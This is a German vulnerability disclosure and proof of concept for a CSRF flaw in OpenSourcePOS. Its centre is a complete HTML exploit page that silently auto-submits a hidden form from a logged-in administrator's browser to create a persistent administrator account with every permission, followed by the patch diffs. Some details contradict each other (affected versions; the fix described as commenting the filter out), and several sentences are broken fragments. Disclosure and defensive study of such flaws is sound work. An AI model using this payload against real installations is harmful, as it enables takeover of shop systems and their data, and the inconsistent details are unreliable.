
PoC & Write-up für CVE-2025-68434: Kritische CSRF in OpenSourcePOS. Nutzt eine deaktivierte Filterkonfiguration aus, um nicht authentifizierten Angreifern zu ermöglichen, stillschweigend betrügerische Administrator-Konten zu erstellen, was zu einer vollständigen Systemübernahme führt. Bestätigt für Versionen < 3.4.0.
| Metadaten | Details |
|---|
| CVE-ID | CVE-2025-68434 |
| Schweregrad | Kritisch (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Schwachstellentyp | Cross-Site Request Forgery (CWE-352) |
| Betroffene Versionen | OpenSourcePOS v3.4.0, v3.4.1 |
| Patch-Version | v3.4.2 |
| Verwundbare Komponente | app/Config/Filters.php (Globale Sicherheitsfilter) |
| Melder | Aditya Singh (Nixon-H) |
Eine kritische Cross-Site-Request-Forgery (CSRF)-Schwachstelle wurde in der zentralen Sicherheitskonfiguration von OpenSourcePOS entdeckt. Der globale CSRF-Schutzmechanismus der Anwendung wurde aufgrund eines temporären Entwicklungs-"TODO", das nie behoben wurde, explizit in der Datei app/Config/Filters.php deaktiviert.
Diese Fehlkonfiguration ermöglichte es der Anwendung, zustandsändernde HTTP-Anfragen (POST) anzunehmen, ohne ein gültiges Anti-Forgery-Token zu überprüfen. Ein nicht authentifizierter, entfernter Angreifer konnte dies ausnutzen, indem er einen eingeloggten Administrator dazu brachte, eine bösartige Seite zu besuchen. Die Angreiferseite würde dann stillschweigend den Browser des Opfers zwingen, administrative Aktionen auszuführen – insbesondere die Erstellung eines neuen "Hintertür"-Administratorkontos mit vollständigen Berechtigungen –, was zu einer vollständigen Systemübernahme führt.
Die Schwachstelle befand sich in der Konfiguration der globalen Filter (app/Config/Filters.php). In CodeIgniter 4 bestimmt das $globals-Array, welche Filter bei jeder Anfrage ausgeführt werden.
In den betroffenen Versionen war der csrf-Filter in der before-Ausführungsliste auskommentiert, wodurch der CSRF-Schutz für die gesamte Anwendung deaktiviert wurde.
Verwundbarer Code (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Da diese Zeile auskommentiert war, wurde die Middleware, die für die Überprüfung von csrf_token_name zuständig ist, nie ausgeführt. Die Anwendung akzeptierte jede POST-Anfrage von jeder Quelle und verließ sich zur Authentifizierung ausschließlich auf das Session-Cookie (ospos_session).
csrf_exploit.html auf einem externen Server.valid_12345) wird sofort erstellt.POC/csrf_exploit.html)Dies ist die genaue Nutzlast, die verwendet wurde, um einen nicht autorisierten Administrator mit vollen Berechtigungen zu erstellen:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(Bilder und Exploit-Dateien befinden sich im Verzeichnis POC/)
Screenshot 1: Die Ausführung des Exploits
Screenshot 2: Das erstellte Schattenkonto
🎥 Video-Demonstration: Klicken Sie hier, um das PoC-Video anzusehen/herunterzuladen
Das erstellte Konto ist nicht nur eine temporäre Sitzung; es ist ein dauerhafter Datenbankeintrag.
Mit der Berechtigung grant_config kann der Angreifer die Store-Konfiguration ändern.
/items/delete) aus, löscht die gesamte Produktbestandsdatenbank und legt den Geschäftsbetrieb lahm.Die Schwachstelle wurde in OpenSourcePOS v3.4.2 behoben. Der Fix erforderte eine mehrstufige architektonische Änderung, um Wettlaufsituationen in der AJAX-lastigen Verkaufsoberfläche zu behandeln.
In app/Config/Filters.php wurde der globale CSRF-Filter auskommentiert.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
In app/Config/Security.php stellten die Entwickler von cookie-basierten auf sitzungsbasierte Token um und deaktivierten die Token-Regenerierung, um Probleme mit parallelen AJAX-Anfragen (z. B. im Verkaufsmodul) zu vermeiden.
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
Die Datei app/Views/partial/header_js.php wurde aktualisiert, um den Token-Hash direkt vom Server einzufügen, anstatt ihn aus einem clientseitigen Cookie zu lesen, was die Sicherheitslage verbessert.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) und vom Forscher verifiziert.